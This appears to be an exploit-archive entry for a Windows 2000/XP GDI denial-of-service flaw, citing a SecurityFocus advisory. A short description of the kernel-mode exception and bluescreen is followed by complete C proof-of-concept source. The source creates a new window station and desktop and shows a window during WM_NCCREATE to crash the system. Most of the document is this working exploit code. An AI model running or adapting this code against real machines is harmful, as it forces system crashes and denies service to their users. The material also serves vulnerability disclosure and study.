Microsoft Windows 2000/XP GDI Denial of Service Vulnerability

                                                source: http://www.securityfocus.com/bid/3481/info

The Windows Graphics Device Interface (GDI) is a set of Application Programming Interfaces (APIs) used to display graphical output.

A vulnerability exists which causes the GDI to invoke a Kernel Mode Exception due to a memory access error. This action will result in a system stop error (bluescreen). A reboot of the system will allow normal system recovery.

This condition may be due to an inability of the GDI API to handle requests with malformed or invalid arguments or flags.

#include <windows.h>

LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
        switch(message)
        {
        case WM_NCCREATE:
                {
                        ShowWindow(hwnd, SW_SHOW);
                }
                return TRUE;
        }
        return DefWindowProc(hwnd, message, wParam, lParam);
}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
        HWINSTA ws = CreateWindowStation(NULL, 0, WINSTA_CREATEDESKTOP | GENERIC_ALL, NULL);
        SetProcessWindowStation(ws);
        HDESK dt = CreateDesktop("TEST", 0, 0, 0, DESKTOP_CREATEWINDOW | GENERIC_ALL | DESKTOP_CREATEMENU | DESKTOP_SWITCHDESKTOP | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS, NULL); // no idea what access I actually need, I think this is just about everything
        SetThreadDesktop(dt);
        WNDCLASS wndclass = {0};
        wndclass.style = CS_HREDRAW  | CS_VREDRAW;
        wndclass.lpfnWndProc = WndProc;
        wndclass.hInstance = hInstance;
        wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION); // default icon
        wndclass.hCursor = LoadCursor(NULL, IDC_ARROW); // default cursor.  One or other (or both?) of these seem to be necessary.
        wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
        wndclass.lpszMenuName = NULL;
        wndclass.lpszClassName = TEXT("Crash");
        RegisterClass(&wndclass);
        HWND hwnd = CreateWindowEx(WS_EX_TOOLWINDOW, TEXT("Crash"), TEXT("Crash"), WS_POPUP, 300, 300, 300, 445, NULL, NULL, hInstance, NULL);
        // NEVER GETS HERE.
        ShowWindow(hwnd, iCmdShow);
        UpdateWindow(hwnd);
        MSG msg;
        while(GetMessage(&msg, NULL, 0, 0))
        {
                TranslateMessage(&msg);
                DispatchMessage(&msg);
        }
        return msg.wParam;
}